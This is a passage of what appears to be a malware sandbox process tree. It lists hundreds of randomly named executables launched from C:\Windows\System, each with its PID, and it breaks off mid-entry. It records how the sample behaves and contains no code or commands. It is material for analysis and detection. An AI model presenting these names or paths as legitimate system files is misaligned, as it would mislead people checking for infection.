- C:\Windows\System\NQzetSn.exe
  C:\Windows\System\NQzetSn.exe
  2⤵
  PID:6460
- C:\Windows\System\oFelgov.exe
  C:\Windows\System\oFelgov.exe
  2⤵
  PID:6476
- C:\Windows\System\zBFfMQs.exe
  C:\Windows\System\zBFfMQs.exe
  2⤵
  PID:6492
- C:\Windows\System\efNWEcF.exe
  C:\Windows\System\efNWEcF.exe
  2⤵
  PID:6508
- C:\Windows\System\vttQZNs.exe
  C:\Windows\System\vttQZNs.exe
  2⤵
  PID:6528
- C:\Windows\System\IPDaedd.exe
  C:\Windows\System\IPDaedd.exe
  2⤵
  PID:6544
- C:\Windows\System\tqZigPp.exe
  C:\Windows\System\tqZigPp.exe
  2⤵
  PID:6592
- C:\Windows\System\ukRHmNE.exe
  C:\Windows\System\ukRHmNE.exe
  2⤵
  PID:6612
- C:\Windows\System\WYCcWVX.exe
  C:\Windows\System\WYCcWVX.exe
  2⤵
  PID:6628
- C:\Windows\System\wfDNokN.exe
  C:\Windows\System\wfDNokN.exe
  2⤵
  PID:6648
- C:\Windows\System\GGSYNEP.exe
  C:\Windows\System\GGSYNEP.exe
  2⤵
  PID:6664
- C:\Windows\System\gtftBYW.exe
  C:\Windows\System\gtftBYW.exe
  2⤵
  PID:6680
- C:\Windows\System\jWMOrOI.exe
  C:\Windows\System\jWMOrOI.exe
  2⤵
  PID:6704
- C:\Windows\System\MmMeRax.exe
  C:\Windows\System\MmMeRax.exe
  2⤵
  PID:6720
- C:\Windows\System\KHgxSFF.exe
  C:\Windows\System\KHgxSFF.exe
  2⤵
  PID:6744
- C:\Windows\System\HVbQcDT.exe
  C:\Windows\System\HVbQcDT.exe
  2⤵
  PID:6764
- C:\Windows\System\rLJFkNu.exe
  C:\Windows\System\rLJFkNu.exe
  2⤵
  PID:6784
- C:\Windows\System\UVuHeMR.exe
  C:\Windows\System\UVuHeMR.exe
  2⤵
  PID:6804
- C:\Windows\System\gSdJudi.exe
  C:\Windows\System\gSdJudi.exe
  2⤵
  PID:6820
- C:\Windows\System\sXCdZFD.exe
  C:\Windows\System\sXCdZFD.exe
  2⤵
  PID:6836
- C:\Windows\System\asSfJsY.exe
  C:\Windows\System\asSfJsY.exe
  2⤵
  PID:6856
- C:\Windows\System\CqIzDbw.exe
  C:\Windows\System\CqIzDbw.exe
  2⤵
  PID:6872
- C:\Windows\System\kjLHgDs.exe
  C:\Windows\System\kjLHgDs.exe
  2⤵
  PID:6888
- C:\Windows\System\eqiNrLL.exe
  C:\Windows\System\eqiNrLL.exe
  2⤵
  PID:6904
- C:\Windows\System\QvrYBSa.exe
  C:\Windows\System\QvrYBSa.exe
  2⤵
  PID:6924
- C:\Windows\System\pDWDYzr.exe
  C:\Windows\System\pDWDYzr.exe
  2⤵
  PID:6940
- C:\Windows\System\hpUvxfF.exe
  C:\Windows\System\hpUvxfF.exe
  2⤵
  PID:6956
- C:\Windows\System\vqyzWyB.exe
  C:\Windows\System\vqyzWyB.exe
  2⤵
  PID:6976
- C:\Windows\System\wHvrfGM.exe
  C:\Windows\System\wHvrfGM.exe
  2⤵
  PID:7000
- C:\Windows\System\iYGlKAK.exe
  C:\Windows\System\iYGlKAK.exe
  2⤵
  PID:7016
- C:\Windows\System\GcExYpU.exe
  C:\Windows\System\GcExYpU.exe
  2⤵
  PID:7032
- C:\Windows\System\ZksaWky.exe
  C:\Windows\System\ZksaWky.exe
  2⤵
  PID:7048
- C:\Windows\System\vTfOcjN.exe
  C:\Windows\System\vTfOcjN.exe
  2⤵
  PID:7064
- C:\Windows\System\bdDQgRx.exe
  C:\Windows\System\bdDQgRx.exe
  2⤵
  PID:7080
- C:\Windows\System\RRwABem.exe
  C:\Windows\System\RRwABem.exe
  2⤵
  PID:7096
- C:\Windows\System\JSzvcPI.exe
  C:\Windows\System\JSzvcPI.exe
  2⤵
  PID:7112
- C:\Windows\System\JxXGIhv.exe
  C:\Windows\System\JxXGIhv.exe
  2⤵
  PID:7136
- C:\Windows\System\sUAZLaX.exe
  C:\Windows\System\sUAZLaX.exe
  2⤵
  PID:7160
- C:\Windows\System\SZQOAxE.exe
  C:\Windows\System\SZQOAxE.exe
  2⤵
  PID:6168
- C:\Windows\System\ubXGxJU.exe
  C:\Windows\System\ubXGxJU.exe
  2⤵
  PID:4148
- C:\Windows\System\qtVTIGj.exe
  C:\Windows\System\qtVTIGj.exe
  2⤵
  PID:6188
- C:\Windows\System\tikXRiz.exe
  C:\Windows\System\tikXRiz.exe
  2⤵
  PID:6176
- C:\Windows\System\POcHGHW.exe
  C:\Windows\System\POcHGHW.exe
  2⤵
  PID:2656
- C:\Windows\System\AWRJYxb.exe
  C:\Windows\System\AWRJYxb.exe
  2⤵
  PID:1292
- C:\Windows\System\YartIUD.exe
  C:\Windows\System\YartIUD.exe
  2⤵
  PID:1916
- C:\Windows\System\RtAkzmX.exe
  C:\Windows\System\RtAkzmX.exe
  2⤵
  PID:6076
- C:\Windows\System\GoPMnMc.exe
  C:\Windows\System\GoPMnMc.exe
  2⤵
  PID:2936
- C:\Windows\System\xjXiwdq.exe
  C:\Windows\System\xjXiwdq.exe
  2⤵
  PID:4648
- C:\Windows\System\LfrpfJT.exe
  C:\Windows\System\LfrpfJT.exe
  2⤵
  PID:1728
- C:\Windows\System\JjQUqNz.exe
  C:\Windows\System\JjQUqNz.exe
  2⤵
  PID:2128
- C:\Windows\System\zPOVTeq.exe
  C:\Windows\System\zPOVTeq.exe
  2⤵
  PID:6260
- C:\Windows\System\kezXREA.exe
  C:\Windows\System\kezXREA.exe
  2⤵
  PID:2268
- C:\Windows\System\ZYkNQxr.exe
  C:\Windows\System\ZYkNQxr.exe
  2⤵
  PID:6284
- C:\Windows\System\byrrfPT.exe
  C:\Windows\System\byrrfPT.exe
  2⤵
  PID:6316
- C:\Windows\System\JJzmuJA.exe
  C:\Windows\System\JJzmuJA.exe
  2⤵
  PID:2448
- C:\Windows\System\qmONIpG.exe
  C:\Windows\System\qmONIpG.exe
  2⤵
  PID:3068
- C:\Windows\System\GvQhrgR.exe
  C:\Windows\System\GvQhrgR.exe
  2⤵
  PID:2804
- C:\Windows\System\CUmUECA.exe
  C:\Windows\System\CUmUECA.exe
  2⤵
  PID:2076
- C:\Windows\System\frLiZSm.exe
  C:\Windows\System\frLiZSm.exe
  2⤵
  PID:2872
- C:\Windows\System\CdkgOLJ.exe
  C:\Windows\System\CdkgOLJ.exe
  2⤵
  PID:6536
- C:\Windows\System\fHwVZlN.exe
  C:\Windows\System\fHwVZlN.exe
  2⤵
  PID:6456
- C:\Windows\System\AgsZwWL.exe
  C:\Windows\System\AgsZwWL.exe
  2⤵
  PID:6520
- C:\Windows\System\sEpqbkN.exe
  C:\Windows\System\sEpqbkN.exe
  2⤵
  PID:6568
- C:\Windows\System\KtOCvND.exe
  C:\Windows\System\KtOCvND.exe
  2⤵
  PID:6500
- C:\Windows\System\lYDKKuB.exe
  C:\Windows\System\lYDKKuB.exe
  2⤵
  PID:6600
- C:\Windows\System\zTNESDB.exe
  C:\Windows\System\zTNESDB.exe
  2⤵
  PID:6624
- C:\Windows\System\IghWTrL.exe
  C:\Windows\System\IghWTrL.exe
  2⤵
  PID:6676
- C:\Windows\System\OvkJfGy.exe
  C:\Windows\System\OvkJfGy.exe
  2⤵
  PID:6660
- C:\Windows\System\FYUfFOV.exe
  C:\Windows\System\FYUfFOV.exe
  2⤵
  PID:6752
- C:\Windows\System\DvBTGnN.exe
  C:\Windows\System\DvBTGnN.exe
  2⤵
  PID:6796
- C:\Windows\System\jUThIxj.exe
  C:\Windows\System\jUThIxj.exe
  2⤵
  PID:6868
- C:\Windows\System\VWVyLXx.exe
  C:\Windows\System\VWVyLXx.exe
  2⤵
  PID:6932
- C:\Windows\System\gMzFMry.exe
  C:\Windows\System\gMzFMry.exe
  2⤵
  PID:6972
- C:\Windows\System\oQItMuM.exe
  C:\Windows\System\oQItMuM.exe
  2⤵
  PID:7152
- C:\Windows\System\PDGULaB.exe
  C:\Windows\System\PDGULaB.exe
  2⤵
  PID:6172
- C:\Windows\System\dPWBERH.exe
  C:\Windows\System\dPWBERH.exe
  2⤵
  PID:2812
- C:\Windows\System\BTsaCnt.exe
  C:\Windows\System\BTsaCnt.exe
  2⤵
  PID:5564
- C:\Windows\System\dHspVOK.exe
  C:\Windows\System\dHspVOK.exe
  2⤵
  PID:6152
- C:\Windows\System\ZjIVxrd.exe
  C:\Windows\System\ZjIVxrd.exe
  2⤵
  PID:6224
- C:\Windows\System\NFejiID.exe
  C:\Windows\System\NFejiID.exe
  2⤵
  PID:1852
- C:\Windows\System\dcQTglk.exe
  C:\Windows\System\dcQTglk.exe
  2⤵
  PID:6844
- C:\Windows\System\detpKha.exe
  C:\Windows\System\detpKha.exe
  2⤵
  PID:6728
- C:\Windows\System\ezYpsgw.exe
  C:\Windows\System\ezYpsgw.exe
  2⤵
  PID:7124
- C:\Windows\System\dwgxmCT.exe
  C:\Windows\System\dwgxmCT.exe
  2⤵
  PID:1428
- C:\Windows\System\cujFfCb.exe
  C:\Windows\System\cujFfCb.exe
  2⤵
  PID:776
- C:\Windows\System\wJLmLad.exe
  C:\Windows\System\wJLmLad.exe
  2⤵
  PID:5328
- C:\Windows\System\aqSsVdr.exe
  C:\Windows\System\aqSsVdr.exe
  2⤵
  PID:6304
- C:\Windows\System\DbRIOLv.exe
  C:\Windows\System\DbRIOLv.exe
  2⤵
  PID:6992
- C:\Windows\System\QPWOJvZ.exe
  C:\Windows\System\QPWOJvZ.exe
  2⤵
  PID:6920
- C:\Windows\System\fbzDIkz.exe
  C:\Windows\System\fbzDIkz.exe
  2⤵
  PID:6332
- C:\Windows\System\akAmGHQ.exe
  C:\Windows\System\akAmGHQ.exe
  2⤵
  PID:6340
- C:\Windows\System\YjeXaQH.exe
  C:\Windows\System\YjeXaQH.exe
  2⤵
  PID:6236
- C:\Windows\System\JOEAvbT.exe
  C:\Windows\System\JOEAvbT.exe
  2⤵
  PID:6352
- C:\Windows\System\nIHTvre.exe
  C:\Windows\System\nIHTvre.exe
  2⤵
  PID:2536
- C:\Windows\System\trqeEsu.exe
  C:\Windows\System\trqeEsu.exe
  2⤵
  PID:6364
- C:\Windows\System\TuxYZmB.exe
  C:\Windows\System\TuxYZmB.exe
  2⤵
  PID:1752
- C:\Windows\System\enjMkpZ.exe
  C:\Windows\System\enjMkpZ.exe
  2⤵
  PID:6712
- C:\Windows\System\gHKLoND.exe
  C:\Windows\System\gHKLoND.exe
  2⤵
  PID:948
- C:\Windows\System\nVZwKoL.exe
  C:\Windows\System\nVZwKoL.exe
  2⤵
  PID:6900
- C:\Windows\System\lxBglBp.exe
  C:\Windows\System\lxBglBp.exe
  2⤵
  PID:7072
- C:\Windows\System\quoUlSi.exe
  C:\Windows\System\quoUlSi.exe
  2⤵
  PID:6700
- C:\Windows\System\bPyOLUm.exe
  C:\Windows\System\bPyOLUm.exe
  2⤵
  PID:6552
- C:\Windows\System\NvbxTor.exe
  C:\Windows\System\NvbxTor.exe
  2⤵
  PID:7144
- C:\Windows\System\LhzqkYO.exe
  C:\Windows\System\LhzqkYO.exe
  2⤵
  PID:6644
- C:\Windows\System\xxAoXcq.exe
  C:\Windows\System\xxAoXcq.exe
  2⤵
  PID:6832
- C:\Windows\System\EhuJisZ.exe
  C:\Windows\System\EhuJisZ.exe
  2⤵
  PID:2888
- C:\Windows\System\wdLaVus.exe
  C:\Windows\System\wdLaVus.exe
  2⤵
  PID:4436
- C:\Windows\System\DUtqmza.exe
  C:\Windows\System\DUtqmza.exe
  2⤵
  PID:6200
- C:\Windows\System\jTrZOeC.exe
  C:\Windows\System\jTrZOeC.exe
  2⤵
  PID:6220
- C:\Windows\System\prEUHoi.exe
  C:\Windows\System\prEUHoi.exe
  2⤵
  PID:6816
- C:\Windows\System\LzpqTCP.exe
  C:\Windows\System\LzpqTCP.exe
  2⤵
  PID:6996
- C:\Windows\System\aVAYitk.exe
  C:\Windows\System\aVAYitk.exe
  2⤵
  PID:4492
- C:\Windows\System\IBrZCXL.exe
  C:\Windows\System\IBrZCXL.exe
  2⤵
  PID:7060
- C:\Windows\System\QdNupPB.exe
  C:\Windows\System\QdNupPB.exe
  2⤵
  PID:6272
- C:\Windows\System\kxPjoEn.exe
  C:\Windows\System\kxPjoEn.exe
  2⤵
  PID:6416
- C:\Windows\System\GJnSYBE.exe
  C:\Windows\System\GJnSYBE.exe
  2⤵
  PID:6252
- C:\Windows\System\SMqNCDV.exe
  C:\Windows\System\SMqNCDV.exe
  2⤵
  PID:1708
- C:\Windows\System\argWTDY.exe
  C:\Windows\System\argWTDY.exe
  2⤵
  PID:6336
- C:\Windows\System\gVjjxAh.exe
  C:\Windows\System\gVjjxAh.exe
  2⤵
  PID:6620
- C:\Windows\System\RPhkdhz.exe
  C:\Windows\System\RPhkdhz.exe
  2⤵
  PID:6792
- C:\Windows\System\qnabkdr.exe
  C:\Windows\System\qnabkdr.exe
  2⤵
  PID:2560
- C:\Windows\System\AfsuQuK.exe
  C:\Windows\System\AfsuQuK.exe
  2⤵
  PID:6208
- C:\Windows\System\kJaVYmV.exe
  C:\Windows\System\kJaVYmV.exe
  2⤵
  PID:6556
- C:\Windows\System\BHxBFja.exe
  C:\Windows\System\BHxBFja.exe
  2⤵
  PID:2956
- C:\Windows\System\mFtmrvJ.exe
  C:\Windows\System\mFtmrvJ.exe
  2⤵
  PID:6452
- C:\Windows\System\sBFpszf.exe
  C:\Windows\System\sBFpszf.exe
  2⤵
  PID:5368
- C:\Windows\System\jYBSPdK.exe
  C:\Windows\System\jYBSPdK.exe
  2⤵
  PID:5392
- C:\Windows\System\rddaWeI.exe
  C:\Windows\System\rddaWeI.exe
  2⤵
  PID:6864
- C:\Windows\System\pBIFSeT.exe
  C:\Windows\System\pBIFSeT.exe
  2⤵
  PID:7104
- C:\Windows\System\NKMwIIM.exe
  C:\Windows\System\NKMwIIM.exe
  2⤵
  PID:404
- C:\Windows\System\ERvfkTF.exe
  C:\Windows\System\ERvfkTF.exe
  2⤵
  PID:7172
- C:\Windows\System\LpxKigr.exe
  C:\Windows\System\LpxKigr.exe
  2⤵
  PID:7188
- C:\Windows\System\xcKrrCb.exe
  C:\Windows\System\xcKrrCb.exe
  2⤵
  PID:7208
- C:\Windows\System\ydyfAVg.exe
  C:\Windows\System\ydyfAVg.exe
  2⤵
  PID:7252
- C:\Windows\System\XnmelmT.exe
  C:\Windows\System\XnmelmT.exe
  2⤵
  PID:7268
- C:\Windows\System\zktGUDA.exe
  C:\Windows\System\zktGUDA.exe
  2⤵
  PID:7284
- C:\Windows\System\nXxRQpN.exe
  C:\Windows\System\nXxRQpN.exe
  2⤵
  PID:7300
- C:\Windows\System\bxsdefZ.exe
  C:\Windows\System\bxsdefZ.exe
  2⤵
  PID:7316
- C:\Windows\System\IWPfLxb.exe
  C:\Windows\System\IWPfLxb.exe
  2⤵
  PID:7356
- C:\Windows\System\OqqQlJT.exe
  C:\Windows\System\OqqQlJT.exe
  2⤵
  PID:7372
- C:\Windows\System\qVASOWN.exe
  C:\Windows\System\qVASOWN.exe
  2⤵
  PID:7392
- C:\Windows\System\niluobr.exe
  C:\Windows\System\niluobr.exe
  2⤵
  PID:7408
- C:\Windows\System\VwbVVLS.exe
  C:\Windows\System\VwbVVLS.exe
  2⤵
  PID:7424
- C:\Windows\System\RYxHUnl.exe
  C:\Windows\System\RYxHUnl.exe
  2⤵
  PID:7444
- C:\Windows\System\IvNsSAt.exe
  C:\Windows\System\IvNsSAt.exe
  2⤵
  PID:7472
- C:\Windows\System\tIqkfXo.exe
  C:\Windows\System\tIqkfXo.exe
  2⤵
  PID:7492
- C:\Windows\System\BBmgIUi.exe
  C:\Windows\System\BBmgIUi.exe
  2⤵
  PID:7508
- C:\Windows\System\nOUDyHK.exe
  C:\Windows\System\nOUDyHK.exe
  2⤵
  PID:7528
- C:\Windows\System\wDjLdeH.exe
  C:\Windows\System\wDjLdeH.exe
  2⤵
  PID:7556
- C:\Windows\System\LNDNwhZ.exe
  C:\Windows\System\LNDNwhZ.exe
  2⤵
  PID:7576
- C:\Windows\System\mlGxKlI.exe
  C:\Windows\System\mlGxKlI.exe
  2⤵
  PID:7600
- C:\Windows\System\LxIfqcd.exe
  C:\Windows\System\LxIfqcd.exe
  2⤵
  PID:7620
- C:\Windows\System\oyHbnoL.exe
  C:\Windows\System\oyHbnoL.exe
  2⤵
  PID:7636
- C:\Windows\System\cYaTkvo.exe
  C:\Windows\System\cYaTkvo.exe
  2⤵
  PID:7652
- C:\Windows\System\ipGPqen.exe
  C:\Windows\System\ipGPqen.exe
  2⤵
  PID:7672
- C:\Windows\System\GKkeDjV.exe
  C:\Windows\System\GKkeDjV.exe
  2⤵
  PID:7700
- C:\Windows\System\BllhXCo.exe
  C:\Windows\System\BllhXCo.exe
  2⤵
  PID:7716
- C:\Windows\System\hfaUCNM.exe
  C:\Windows\System\hfaUCNM.exe
  2⤵
  PID:7732
- C:\Windows\System\OpDxFYi.exe
  C:\Windows\System\OpDxFYi.exe
  2⤵
  PID:7752
- C:\Windows\System\YUqWwFF.exe
  C:\Windows\System\YUqWwFF.exe
  2⤵
  PID:7772
- C:\Windows\System\ZZWBAvV.exe
  C:\Windows\System\ZZWBAvV.exe
  2⤵
  PID:7788
- C:\Windows\System\nmYIJnD.exe
  C:\Windows\System\nmYIJnD.exe
  2⤵
  PID:7804
- C:\Windows\System\WzUXzmj.exe
  C:\Windows\System\WzUXzmj.exe
  2⤵
  PID:7820
- C:\Windows\System\yyVhJXN.exe
  C:\Windows\System\yyVhJXN.exe
  2⤵
  PID:7844
- C:\Windows\System\poQuaxr.exe
  C:\Windows\System\poQuaxr.exe
  2⤵
  PID:7860
- C:\Windows\System\jVlSnDK.exe
  C:\Windows\System\jVlSnDK.exe
  2⤵
  PID:7880
- C:\Windows\System\vuFGiWT.exe
  C:\Windows\System\vuFGiWT.exe
  2⤵
  PID:7900
- C:\Windows\System\ynzvsBW.exe
  C:\Windows\System\ynzvsBW.exe
  2⤵
  PID:7920
- C:\Windows\System\YOiExis.exe
  C:\Windows\System\YOiExis.exe
  2⤵
  PID:7936
- C:\Windows\System\mIEMEoI.exe
  C:\Windows\System\mIEMEoI.exe
  2⤵
  PID:7956
- C:\Windows\System\OXvNvsq.exe
  C:\Windows\System\OXvNvsq.exe
  2⤵
  PID:7972
- C:\Windows\System\DMOLWCw.exe
  C:\Windows\System\DMOLWCw.exe
  2⤵
  PID:8020
- C:\Windows\System\RpLWIfK.exe
  C:\Windows\System\RpLWIfK.exe
  2⤵
  PID:8036
- C:\Windows\System\dgODFLl.exe
  C:\Windows\System\dgODFLl.exe
  2⤵
  PID:8060
- C:\Windows\System\jaTujxv.exe
  C:\Windows\System\jaTujxv.exe
  2⤵
  PID:8076
- C:\Windows\System\ZLRqETd.exe
  C:\Windows\System\ZLRqETd.exe
  2⤵
  PID:8092
- C:\Windows\System\RtlPopr.exe
  C:\Windows\System\RtlPopr.exe
  2⤵
  PID:8112
- C:\Windows\System\NHrmoGc.exe
  C:\Windows\System\NHrmoGc.exe
  2⤵
  PID:8132
- C:\Windows\System\pQZkriX.exe
  C:\Windows\System\pQZkriX.exe
  2⤵
  PID:8148
- C:\Windows\System\UXFQtqX.exe
  C:\Windows\System\UXFQtqX.exe
  2⤵
  PID:8168
- C:\Windows\System\uoVKpmE.exe
  C:\Windows\System\uoVKpmE.exe
  2⤵
  PID:8184
- C:\Windows\System\NnEhGus.exe
  C:\Windows\System\NnEhGus.exe
  2⤵
  PID:6468
- C:\Windows\System\pUmNUNf.exe
  C:\Windows\System\pUmNUNf.exe
  2⤵
  PID:6384
- C:\Windows\System\uQcUbAa.exe
  C:\Windows\System\uQcUbAa.exe
  2⤵
  PID:7092
- C:\Windows\System\KNCrDmk.exe
  C:\Windows\System\KNCrDmk.exe
  2⤵
  PID:6772
- C:\Windows\System\tSyWdkG.exe
  C:\Windows\System\tSyWdkG.exe
  2⤵
  PID:7184
- C:\Windows\System\NtPaJdD.exe
  C:\Windows\System\NtPaJdD.exe
  2⤵
  PID:6740
- C:\Windows\System\BzsJqUa.exe
  C:\Windows\System\BzsJqUa.exe
  2⤵
  PID:6276
- C:\Windows\System\bwdJyTL.exe
  C:\Windows\System\bwdJyTL.exe
  2⤵
  PID:7200
- C:\Windows\System\AhwLink.exe
  C:\Windows\System\AhwLink.exe
  2⤵
  PID:7240
- C:\Windows\System\UpknxFw.exe
  C:\Windows\System\UpknxFw.exe
  2⤵
  PID:7224
- C:\Windows\System\IBorlcf.exe
  C:\Windows\System\IBorlcf.exe
  2⤵
  PID:7368
- C:\Windows\System\XwbftCA.exe
  C:\Windows\System\XwbftCA.exe
  2⤵
  PID:7348
- C:\Windows\System\CMPOLLV.exe
  C:\Windows\System\CMPOLLV.exe
  2⤵
  PID:7328
- C:\Windows\System\yFLkwXD.exe
  C:\Windows\System\yFLkwXD.exe
  2⤵
  PID:7436
- C:\Windows\System\sloLyKf.exe
  C:\Windows\System\sloLyKf.exe
  2⤵
  PID:7384
- C:\Windows\System\LwYZAAu.exe
  C:\Windows\System\LwYZAAu.exe
  2⤵
  PID:7464
- C:\Windows\System\aOXOMMv.exe
  C:\Windows\System\aOXOMMv.exe
  2⤵
  PID:7500
- C:\Windows\System\GFEbLMQ.exe
  C:\Windows\System\GFEbLMQ.exe
  2⤵
  PID:7540
- C:\Windows\System\wzNUCJI.exe
  C:\Windows\System\wzNUCJI.exe
  2⤵
  PID:7648
- C:\Windows\System\nPdNEHo.exe
  C:\Windows\System\nPdNEHo.exe
  2⤵
  PID:7584
- C:\Windows\System\wKUzYOz.exe
  C:\Windows\System\wKUzYOz.exe
  2⤵
  PID:7664
- C:\Windows\System\HGqpiIU.exe
  C:\Windows\System\HGqpiIU.exe
  2⤵
  PID:7660
- C:\Windows\System\BfICxCf.exe
  C:\Windows\System\BfICxCf.exe
  2⤵
  PID:7724
- C:\Windows\System\hMfkvAq.exe
  C:\Windows\System\hMfkvAq.exe
  2⤵
  PID:7800
- C:\Windows\System\WnsOVsY.exe
  C:\Windows\System\WnsOVsY.exe
  2⤵
  PID:7868
- C:\Windows\System\NMDvNmZ.exe
  C:\Windows\System\NMDvNmZ.exe
  2⤵
  PID:7916
- C:\Windows\System\clgZKko.exe
  C:\Windows\System\clgZKko.exe
  2⤵
  PID:7952
- C:\Windows\System\jwjwPpz.exe
  C:\Windows\System\jwjwPpz.exe
  2⤵
  PID:7996
- C:\Windows\System\vVAkIcR.exe
  C:\Windows\System\vVAkIcR.exe
  2⤵
  PID:7856
- C:\Windows\System\FStuOcs.exe
  C:\Windows\System\FStuOcs.exe
  2⤵
  PID:7708
- C:\Windows\System\WftAUsV.exe
  C:\Windows\System\WftAUsV.exe
  2⤵
  PID:7748
- C:\Windows\System\oRvjYtp.exe
  C:\Windows\System\oRvjYtp.exe
  2⤵
  PID:7964
- C:\Windows\System\CgyjZFx.exe
  C:\Windows\System\CgyjZFx.exe
  2⤵
  PID:8008
- C:\Windows\System\ZJBYgbT.exe
  C:\Windows\System\ZJBYgbT.exe
  2⤵
  PID:8056
- C:\Windows\System\eCCoCMV.exe
  C:\Windows\System\eCCoCMV.exe
  2⤵
  PID:8128
- C:\Windows\System\VPyTsqg.exe
  C:\Windows\System\VPyTsqg.exe
  2⤵
  PID:6984
- C:\Windows\System\ENWhdoe.exe
  C:\Windows\System\ENWhdoe.exe
  2⤵
  PID:8032
- C:\Windows\System\EVRQZyF.exe
  C:\Windows\System\EVRQZyF.exe
  2⤵
  PID:8108
- C:\Windows\System\kjQkQGP.exe
  C:\Windows\System\kjQkQGP.exe
  2⤵
  PID:7220
- C:\Windows\System\QcVkMji.exe
  C:\Windows\System\QcVkMji.exe
  2⤵
  PID:6828
- C:\Windows\System\AIKYUMu.exe
  C:\Windows\System\AIKYUMu.exe
  2⤵
  PID:7228
- C:\Windows\System\nIQJuHL.exe
  C:\Windows\System\nIQJuHL.exe
  2⤵
  PID:2828
- C:\Windows\System\TGeuTjD.exe
  C:\Windows\System\TGeuTjD.exe
  2⤵
  PID:7280
- C:\Windows\System\wqSpNZE.exe
  C:\Windows\System\wqSpNZE.exe
  2⤵
  PID:7352
- C:\Windows\System\RtriSEl.exe
  C:\Windows\System\RtriSEl.exe
  2⤵
  PID:7404
- C:\Windows\System\GDoVOAW.exe
  C:\Windows\System\GDoVOAW.exe
  2⤵
  PID:7488
- C:\Windows\System\gVzurpp.exe
  C:\Windows\System\gVzurpp.exe
  2⤵
  PID:7416
- C:\Windows\System\PqQWlSN.exe
  C:\Windows\System\PqQWlSN.exe
  2⤵
  PID:7564
- C:\Windows\System\nUtlJZh.exe
  C:\Windows\System\nUtlJZh.exe
  2⤵
  PID:7612
- C:\Windows\System\HUbIyiW.exe
  C:\Windows\System\HUbIyiW.exe
  2⤵
  PID:7588
- C:\Windows\System\cmfxAEP.exe
  C:\Windows\System\cmfxAEP.exe
  2⤵
  PID:7684
- C:\Windows\System\YSYTNEX.exe
  C:\Windows\System\YSYTNEX.exe
  2⤵
  PID:7840
- C:\Windows\System\PresKKB.exe
  C:\Windows\System\PresKKB.exe
  2⤵
  PID:8000
- C:\Windows\System\ZTZHjvn.exe
  C:\Windows\System\ZTZHjvn.exe
  2⤵
  PID:8016
- C:\Windows\System\UDZbqpC.exe
  C:\Windows\System\UDZbqpC.exe
  2⤵
  PID:7460
- C:\Windows\System\FQuYLlo.exe
  C:\Windows\System\FQuYLlo.exe
  2⤵
  PID:7108
- C:\Windows\System\aGaNdCX.exe
  C:\Windows\System\aGaNdCX.exe
  2⤵
  PID:7892
- C:\Windows\System\WksCnik.exe
  C:\Windows\System\WksCnik.exe
  2⤵
  PID:8164
- C:\Windows\System\EdVauzH.exe
  C:\Windows\System\EdVauzH.exe
  2⤵
  PID:7928
- C:\Windows\System\vnUZgLO.exe
  C:\Windows\System\vnUZgLO.exe
  2⤵
  PID:7984
- C:\Windows\System\wUMfrUJ.exe
  C:\Windows\System\wUMfrUJ.exe
  2⤵
  PID:2520
- C:\Windows\System\fKVjlAy.exe
  C:\Windows\System\fKVjlAy.exe
  2⤵
  PID:8028
- C:\Windows\System\DSpYdDq.exe
  C:\Windows\System\DSpYdDq.exe
  2⤵
  PID:6604
- C:\Windows\System\VESwsMZ.exe
  C:\Windows\System\VESwsMZ.exe
  2⤵
  PID:6896
- C:\Windows\System\MxpaIeM.exe
  C:\Windows\System\MxpaIeM.exe
  2⤵
  PID:7764
- C:\Windows\System\lYlEkNy.exe
  C:\Windows\System\lYlEkNy.exe
  2⤵
  PID:8120
- C:\Windows\System\ymnGaMX.exe
  C:\Windows\System\ymnGaMX.exe
  2⤵
  PID:7796
- C:\Windows\System\HJXjlzy.exe
  C:\Windows\System\HJXjlzy.exe
  2⤵
  PID:6588
- C:\Windows\System\gpLmuoY.exe
  C:\Windows\System\gpLmuoY.exe
  2⤵
  PID:6852
- C:\Windows\System\vMVmVJt.exe
  C:\Windows\System\vMVmVJt.exe
  2⤵
  PID:7432
- C:\Windows\System\KlwlqFe.exe
  C:\Windows\System\KlwlqFe.exe
  2⤵
  PID:7452
- C:\Windows\System\gshsVZa.exe
  C:\Windows\System\gshsVZa.exe
  2⤵
  PID:8004
- C:\Windows\System\NXxhzMs.exe
  C:\Windows\System\NXxhzMs.exe
  2⤵
  PID:8140
- C:\Windows\System\TCrmSHg.exe
  C:\Windows\System\TCrmSHg.exe
  2⤵
  PID:8160
- C:\Windows\System\WtuKpNc.exe
  C:\Windows\System\WtuKpNc.exe
  2⤵
  PID:7336
- C:\Windows\System\BuwdCOd.exe
  C:\Windows\System\BuwdCOd.exe
  2⤵
  PID:7608
- C:\Windows\System\ZLRsnNT.exe
  C:\Windows\System\ZLRsnNT.exe
  2⤵
  PID:7260
- C:\Windows\System\IqcbCHk.exe
  C:\Windows\System\IqcbCHk.exe
  2⤵
  PID:7816
- C:\Windows\System\mLoaqcL.exe
  C:\Windows\System\mLoaqcL.exe
  2⤵
  PID:8012
- C:\Windows\System\MYGTvEr.exe
  C:\Windows\System\MYGTvEr.exe
  2⤵
  PID:7832
- C:\Windows\System\fkzhgie.exe
  C:\Windows\System\fkzhgie.exe
  2⤵
  PID:8176
- C:\Windows\System\gMuhBNv.exe
  C:\Windows\System\gMuhBNv.exe
  2⤵
  PID:7852
- C:\Windows\System\rRQWttO.exe
  C:\Windows\System\rRQWttO.exe
  2⤵
  PID:7456
- C:\Windows\System\zijHRiC.exe
  C:\Windows\System\zijHRiC.exe
  2⤵
  PID:7516
- C:\Windows\System\QfHFWjf.exe
  C:\Windows\System\QfHFWjf.exe
  2⤵
  PID:7484
- C:\Windows\System\thHyvKh.exe
  C:\Windows\System\thHyvKh.exe
  2⤵
  PID:1992
- C:\Windows\System\wTcUkHr.exe
  C:\Windows\System\wTcUkHr.exe
  2⤵
  PID:8124
- C:\Windows\System\jimiIbI.exe
  C:\Windows\System\jimiIbI.exe
  2⤵
  PID:7744
- C:\Windows\System\RrwKBoX.exe
  C:\Windows\System\RrwKBoX.exe
  2⤵
  PID:6504
- C:\Windows\System\fJqCKeB.exe
  C:\Windows\System\fJqCKeB.exe
  2⤵
  PID:7344
- C:\Windows\System\lpqPBPJ.exe
  C:\Windows\System\lpqPBPJ.exe
  2⤵
  PID:8208
- C:\Windows\System\kHXPHho.exe
  C:\Windows\System\kHXPHho.exe
  2⤵
  PID:8224
- C:\Windows\System\UbFKaDq.exe
  C:\Windows\System\UbFKaDq.exe
  2⤵
  PID:8240
- C:\Windows\System\VZmsvYZ.exe
  C:\Windows\System\VZmsvYZ.exe
  2⤵
  PID:8256
- C:\Windows\System\tdfJKlE.exe
  C:\Windows\System\tdfJKlE.exe
  2⤵
